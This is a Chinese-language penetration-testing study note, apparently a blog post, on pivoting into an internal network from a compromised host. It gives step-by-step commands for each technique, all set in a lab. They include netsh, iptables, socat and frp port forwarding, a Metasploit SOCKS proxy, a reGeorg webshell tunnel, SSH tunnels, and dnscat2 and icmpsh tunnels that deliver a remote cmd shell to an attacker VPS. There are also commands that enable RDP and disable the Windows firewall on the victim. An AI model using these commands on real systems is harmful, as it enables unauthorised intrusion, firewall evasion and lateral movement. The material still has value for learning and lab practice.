本文仅作学习记录,如有侵权,请联系删除!
背景:
当我们通过 webshell 或者其它一些方式获取到一台可以访问内网的服务器权限后,如果要做进一步的渗透,往往要访问内网中的其它主机,但其它主机在内网中,我们无法直接访问。由于控制的服务器处于内网中,所以我们可以通过这台服务器作为跳板进行内网穿透
内网穿透使用的技术主要有下面几种:
1.端口转发
2.socks 代理
3.dns 隧道
4.icmp 隧道
端口转发:
端口转发,有时被叫做隧道。我们现在在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的NAT方式访问外网。假如我们内网现在有100台主机,那么我们现在都是通过路由器的这一个公网IP和外网通信的。那么,当互联网上的消息发送回来时,路由器是怎么知道这个消息是给他的,而另外消息是给你的呢?这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。当路由器的10000端口收到消息时,就知道把消息发送给他,而当20000端口收到消息时,就知道把消息发送给你。这就是端口转发,其转发一个端口收到的流量,给另一个主机
端口转发技术主要是把目标内网的主机端口转发到公网可以访问的主机端口中。根据转发的方向不同,也可以分成正向端口转发和反向端口转发,但本质是一样的,都是把一台主机的一个端口转发到另一台主机的一个端口。
环境介绍:
192.168.107.133 外网Ubuntu攻击机,也可以模拟成VPS主机
192.168.101.131,192.168.107.136 网络边界Windows7服务器(被控),双网卡
192.168.101.132 Win10内网服务器(目标),我们想连接它的3389端口
192.168.107.0/24段的网卡模拟公网,192.168.101.0/24段的网卡连接内网
win7和目标机处于同一域中。
Windows系统都需提前关闭防火墙:
接下来测试来双网卡的效果,在被控 windows 上分别 ping 下 Ubuntu 和目标机,看看是否都可以通:
windows 7 被控服务器可以同时 ping 通 Ubuntu 和 目标机
Ubuntu 攻击机能ping通双网卡的 windows 7 被控服务器,但无法 ping 通内网的目标主机 192.168.101.132
正向端口转发:
正向端口转发用得比较少。
一般适用于获得权限的公网Web服务器同时具有公网 ip 和内网 ip。此时可以把内网主机的一些端口转发到 Web服务器的端口上。
举例说明:
Web服务器会在本地打开一个3389端口进行监听,接着攻击主机访问了Web 服务器的3389端口,然后Web服务器作为中转,把 3389端口接收到的流量转发到内网主机B 的 3389。这样就达到了访问内网主机B的目的。
查看被控主机开放端口(win7):
被控主机未开放3389,尝试开启远程桌面:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 / f
成功开启3389端口
如果开启失败可能是防火墙没关,尝试关闭防火墙:
netsh firewall set opmode mode=disable
顺便把目标机的网络级别身份验证关了,方便 Ubuntu 连接:
接下来在被控 windows 服务器进行正向端口转发,在 windows 下可以使用自带的 netsh工具来进行正向端口转发,netsh是一个命令行脚本实用工具,可以查看或更改本地计算机或远程计算机的网络配置。
现在需要通过 192.168.107.136 的 3389 端口转发到 192.168.101.132 的3389端口。
在 192.168.107.136 被控主机上以管理员身份打开 cmd,输入如下语句:
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=192.168.107.136 connectport=3389 connectaddress=192.168.101.132
//查看存在的转发
netsh interface portproxy show all
//删除指定规则
netsh interface portproxy delete v4tov4 listenport=3389 listenaddress=192.168.107.136
进行端口转发后,就可以通过192.168.107.136 的 3389端口访问内网 192.168.101.132 主机的 3389 端口了。
iptables:
环境介绍:
192.168.101.130,192.168.107.138 网络边界 ubuntu 服务器(被控) , 双网卡
192.168.107.129 外网kali攻击机,也可以模拟成 VPS 主机
192.168.101.132 内网服务器(目标),我们想连它的3389端口
192.168.107.0/24段的网卡模拟公网,192.168.101.0/24段的网卡连接内网
在 linux 下可以使用 iptables 进行正向端口转发,iptables 是 linux自带的防火墙软件
创建 iptables 规则,在边界 ubuntu 服务器上把本地 3389 端口收到的流量转发到 192.168.101.132 的 3389 端口
sudo iptables -I INPUT -p tcp -m tcp --dport 3389 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 3389 -j DNAT --to-destination 192.168.101.132:3389
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo sysctl net.ipv4.ip_forward=1
Ubuntu重启防火墙:
sudo ufw disable && sudo ufw enable
在其它系统可以使用重启iptables:
/etc/init.d/iptables restart
在 kali 上使用 rdesktop 来连接,注意,这里连接的地址是被控 ubuntu 主机的 ip
使用完后使用 iptables –F 清除规则然后重启 iptables
socat
SOCAT是用于执行流量转发的另一种工具。
它比 iptables 更容易使用。
安装 socat:
sudo apt install socat
在边界 ubuntu 服务器上把本地3389端口收到的流量转发到 192.168.101.132的3389端口
在Ubuntu商需要先关闭防火墙:
sudo ufw disable
之后进行端口转发:
socat TCP4-LISTEN:3389,fork TCP4:192.168.101.132:3389
反向端口转发:
反向端口转发用得比较多。这种情况一般是公网Web服务器只有内网 ip,然后通过路由器把 80 端口映射到公网的 ip上。这种情况下不能让 Web服务器直接监听本地的端口,然后让攻击主机进行连接,因为路由器只做了80端口的映射。
攻击主机想要访问内网主机B的 3389 端口时,可以让公网的一台 VPS 监听 3389 端口,然后把 3389 端口收到的流量转发到 8000 端口,接着让 Web 服务器连接VPS的 8000 端口,并且把该端口的流量转发到内网主机B的 3389 端口。这时,攻击机访问VPS的 3389 端口,相当于访问内网主机B的 3389 端口。
环境介绍:
x.x.x.x vps主机(注意配置好防火墙出入规则)
192.168.1.10 本地 windows10 物理主机
192.168.101.130,192.168.107.138 网络边界ubuntu服务器 (被控) ,双网卡
192.168.101.132 内网服务器(目标),我们想连它的3389端口
192.168.101.0/24段的网卡连接内网
frp:
frp是一个可用于内网穿透的高性能的反向代理应用,支持tcp, udp协议,为 http 和 https应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp用来做反向端口转发比较稳定,而且同时支持 linux 平台和 windows平台。
其详细的介绍可以在github上查看
https://github.com/fatedier/frp/blob/master/README_zh.md
在以下地址下载相应版本的frp
https://github.com/fatedier/frp/releases
Linux平台下载根据实际情况下载:
#查看系统信息
uname -a
解压后,将 frps 及 frps.ini 放到具有公网IP(公网 vps )的机器上。
将 frpc 及 frpc.ini 放到处于内网环境的机器上(内网 ubuntu 边界服务器)。
下面的配置将把内网主机的3389端口转发到 公网VPS上
先在vps上修改 frps.ini文件,这里使用了最简化的配置,监听8000端口,等待内网 ubuntu 服务器连接
[common]
bind_port=8000
在vps上启动 frps:
./frps -c ./frps.ini
在内网 ubuntu 边界服务器修改frpc.ini文件, 把 192.168.101.132的 3389 端口转发到 vps x.x.x.x 的 3389 端口
启动 frpc,连接vps:
./frpc -c ./frpc.ini
连接成功后,在本地 windows 物理主机上直接连接vps 的 3389 端口即可访问内网主机的 3389 端口
当然,frp也可以做正向端口转发,原理是一样的,把vps换成边界服务器就行了。
socks代理:
socks是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。但也可以用于客户端与内网服务器之间的通讯。socks协议版本有 socks4 和 socks5,其中 socks5 可以支持udp。
socks有一个服务端,它会监听一个端口,等待客户端的连接。客户端连接该端口,然后告诉服务端要访问那些ip和端口,然后由服务端去访问,服务端把返回的数据转发给客户端。
它的优点是很灵活,不需要转发各种端口,直接通过 socks 服务器就可以访问内网的不同端口。
利用msf搭建socks代理,进行横向渗透:
当我们通过MSF拿到一个机器的权限后,想通过MSF搭建socks代理,然后通内网。
MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。socks5可以设置用户名和密码。
在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网。
利用过程:
利用msf反弹shell连接后:
获取内网网段信息
run get_local_subnets
通过内网本地路由查询,可以获悉内网网段地址为:192.168.107.0/24。
添加去往第二层内网网段(192.168.107.0/24)的静态路由。
搭建Socks4a代理:
use auxiliary/server/socks4a
set srvport 9999
run
连接代理:
修改/etc/proxychains.conf文件,在最后一行添上:
socks4 127.0.0.1 9999
使用proxychains对其进行端口扫描:
这里似乎有点不对劲???用浏览器设置socks代理看看
设置之前访问:
设置socks代理:
再次访问:
。。。。那为啥端口扫描不行???
我太菜了,这个坑以后再来解
reGeorg:
如果我们获得了一个webshell,可以使用 socks 代理的webshell来实现 socks代理。
reGeorg是常用的隧道马,可以在本地监听一个 socks服务端,然后把收到的内网请求转发到 webshell来访问。
下载地址如下:
https://github.com/sensepost/reGeorg
java环境搭建参考:
https://blog.csdn.net/qq_34412086/article/details/88035820
Tomcat环境搭建参考:
https://blog.csdn.net/qq_34412086/article/details/88038210
环境介绍:
192.168.1.17 外网 Ubuntu 攻击机,用于使用reGeorg
192.168.1.16,192.168.107.136 网络边界win7服务器 (被控) ,被上传 webshell ,双网卡
192.168.107.130 内网服务器(目标)
192.168.1.0/24段的网卡模拟公网,192.168.107.0/24段的网卡模拟内网
实验环境的边界 win7 服务器是使用 IIS,所以上传 tunnel.aspx 到服务器的根目录,访问URL为:
http://192.168.1.16/tunnel.aspx
接着 Ubuntu 攻击机上运行下面命令即可在本地的8888端口启动socks 服务器
python reGeorgSocksProxy.py -p 8888 -u http://192.168.1.16/tunnel.aspx
在 windows 下面可以使用Proxifier来连接代理。如果要对内网做web渗透,可以直接在burpsuite上面设置socks代理的地址和端口。如果在 linux 下,可以使用 proxychains 工具来使用代理。
以 Ubuntu 为例,先把 /etc/proxychains.conf文件的最后一行修改为:
socks4 127.0.0.1 8888
然后通过 proxychains来启动要代理的程序,这样 rdesktop 的流量会经过 socks 代理直接访问内网的目标主机
PS:如果使用tunnel.php,php的版本似乎只能在5.3以下,然后我用phpstudy复现失败了,reGeorg最好使用asp和jsp的webshell
ssh 隧道
ssh是 linux 自带的远程登录客户端,ssh端口转发也被称作 ssh 隧道(sshTunnel),因为它们都是通过ssh登陆之后,在ssh客户端与ssh服务端之间建立了一个隧道,从而进行通信。ssh隧道是非常安全的,因为 ssh 是通过加密传输数据的。
使用ssh可以实现前面的所有功能,如正向端口转发、反向端口转发和socks 代理。
如果被控主机是 linux, 推荐使用 ssh 来做隧道,因为它的流量是加密的,而且极其稳定
使用前首先要确认 /etc/ssh/sshd_config 的以下配置:
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes #保持心跳,防止ssh断开
PasswordAuthentication yes
这里着重介绍下GatewayPorts,默认情况下为no,当设置成yes时,允许任何人连接到转发的端口,比如目标机为windows,通过ssh远程端口转发到vps的3389,这时任何人都可以通过如下命令连接3389:
rdesktop vps-ip
只要知道账号密码就能登录3389,默认情况下只运行本地服务器连接,但由于VPS只能在cli下运行,而rdesktop必须在GUI下才能正常连接。所以,GatewayPorts这个参数的设置要慎重!
之后重启ssh生效:
service ssh restart
ssh隧道的常用参数如下:
-C:该参数将使ssh压缩所有通过SecureShell客户端发送的数据。
-f:该参数将ssh连接送入后台执行。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息
ssh 隧道分为本地端口转发、远程端口转发和动态端口转发。
本地转发是将远程主机(vps)某个端口的数据转发到本地机器(内网主机)的指定端口。
远程端口转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口。
动态端口转发是就是建立一个 socks 代理。
环境介绍:
119.x.x.x 外网VPS攻击机
192.168.1.17,192.168.107.133 网络边界 ubuntu 服务器(被控),双网卡,192.168.107.0/24段的网卡连接内网。
192.168.107.130(目标服务器)
ssh远程端口转发:
一般来说,在端口转发时,使用的是远程端口转发
下面命令不会产生交互shell,需要用kill命令手动杀死ssh进程才能停止端口转发,在 Ubuntu 上运行以下命令,输入 vps 的 ssh 账号密码:
ssh -CfNg -R 119.x.x.x:3389:192.168.107.130:3389 [email protected]
之后登录VPS主机,通过 netstat 命令查看监听端口:
netstat -ntlp
之后通过任意能上网的机器(VPS的话需要有GUI)输入如下命令,即可连接目标服务器的3389:
rdesktop 119.x.x.x
ssh 动态端口转发:
ssh 动态端口转发可以实现 socks 代理:
先在内网主机 Ubuntu 上运行下面命令,使用本地的1086端口做动态端口转发,输入的是Ubuntu 上的 ssh 账号密码,这时需要有本地的账号密码,或者获取 root 权限后,自行添加一个账号密码:
ssh -CfNg -D localhost:1086 b4yi@localhost
再把本地1086端口远程转发到 119.x.x.x 的8000端口,这里输入的是vps的ssh账号密码。
ssh -CfNg -R 119.x.x.x:8000:localhost:1086 [email protected]
在vps上配置 /etc/proxychains.conf文件的最后一行修改为:
socks5 127.0.0.1 8000
通过socks代理访问目标主机:
proxychains curl -I 192.168.107.130
dns 隧道:
当目标内网有防火墙策略,不允许内网机器的 tcp 连接出外网时,端口转发技术就无法使用了。这时可以使用但dns请求一般是可以出外网的,而 dns 的 txt记录是可以用来传输数据的,因此通过 dns请求可以建立到目标内网的连接。
常用的工具是dnscat
https://github.com/iagox86/dnscat2
powershell 版本
https://github.com/lukebaggett/dnscat2-powershell
在 vps 192.168.1.12 上运行:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
bundle install
sudo ruby./dnscat2.rb
在内网主机使用 dnscat 客户端连接vps服务器:
#dnscat2.exe获得:在Windows上,将client / win32 / dnscat2.vcproj加载到Visual Studio中,然后单击“生成”
dnscat2.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID
建立连接后可以运行命令获取 cmd shell:
windows
session -i 1
shell
session -i 2
icmp隧道:
当端口转发、DNS隧道都失败时,可以尝试使用ICMP 请求把TCP/UDP数据封装到ICMP的ping数据包中来绕过防火墙。
可以使用 icmpsh 工具来建立 icmp 隧道
https://github.com/inquisb/icmpsh
环境介绍:
192.168.1.12 kali 攻击机,模拟vps
192.168.1.15 内网windows服务器(目标),模拟公网IP
在 kali上运行以下命令关闭 ICMP 应答:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后运行下面命令监听,其中 192.168.1.15 是目标公网IP
python icmpsh_m.py 192.168.1.12 192.168.1.15
接着在内网 windows 服务器上运行以下命令连接 vps,可以在 vps 获取一个 cmd shell:
icmpsh.exe -t 192.168.1.12 -d 500 -b 30 -s 128
参考如下:
如何进行内网穿透
搭建一个简单的Windows域环境
使用msf入侵多层级网络架构
MSF搭建socks代理